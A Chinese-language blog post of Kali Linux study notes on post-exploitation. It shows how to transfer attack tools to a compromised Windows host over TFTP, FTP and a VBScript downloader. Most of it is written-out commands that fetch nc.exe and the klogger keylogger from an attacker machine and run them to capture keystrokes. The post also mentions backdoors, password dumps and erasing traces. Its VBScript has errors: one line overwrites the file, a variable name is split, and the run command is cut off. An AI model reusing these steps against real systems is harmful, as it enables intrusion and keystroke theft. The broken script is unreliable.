Kali linux 学习笔记(二十)缓冲区溢出——传输文件(tftp、ftp、vbscript) 2020.3.2

前言

后漏洞利用阶段
即已经控制目标机
我们需要做的大概是以下几点:

  • 上传工具:更好地控制目标
  • 提权:获取root权限
  • 擦除攻击痕迹
  • 安装后门:长期控制、dump密码、内网渗透

挑战:杀毒软件

这节主要学习如何上传工具,即传输文件
以klogger和whoami为例
可以在目标机工作时
将敲击的键盘记录在klogger的目录下的txt中
来窃取信息

下面介绍几种传输文件的方法

1、tftp

  • 基于UDP
  • 不支持身份验证
  • 常被防火墙过滤
  • xp和2003默认安装

kali下

mkdir \tftp #创建主目录
atftpd --daemon -port 69 /tftp #启动
cp /usr/share/windows-binaries/nc.exe /tftp/ #拷贝nc
cp /usr/share/windows-binaries/whoami.exe /tftp/
cp /usr/share/windows-binaries/klogger.exe /tftp/
chown -R nobody /tftp #nobody默认为服务账号

控制的windows的shell下

tftp -i 192.168.10.5 get nc.exe
tftp -i 192.168.10.5 get whoami.exe
tftp -i 192.168.10.5 get klogger.exe #从192.168.10.5这个kali的IP传输文件过来
>whoami
>klogger #分别启动这两个工具

2、ftp

kali下:

apt install pure-ftpd #安装
./ftp.sh
cp /tftp/* /ftp/

配置文件ftp.sh

#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd username -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

用户:username 密码:password

控制的windows的shell下:

echo open 192.168.1.117> ftp.txt
echo cy>> ftp.txt
echo password >>ftp.txt
echo bin >> ftp.txt
echo GET whoami.exe>> ftp.txt
echo GET klogger.exe>> ftp.txt
echo bye>> ftp.txt
ftp -s:ftp.txt

3、vbscript

kali下

service apache2 start
cd /var/www/html/
cp /ftphome/whoami.exe .

控制的windows的shell下
脚本wget.vbs

echo strUrl=WScript.Arguments.Item(0)>wget.vbs
echo Str File=WScript.Arguments.Item(1)>wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

执行

>w

结语

有多种协议可以用来传输文件
以上传工具
根据情况自己选择

出了上述三种
还有powershell、debug等也可以

发布了28 篇原创文章 · 获赞 2 · 访问量 1028

猜你喜欢

转载自blog.csdn.net/weixin_44604541/article/details/104615772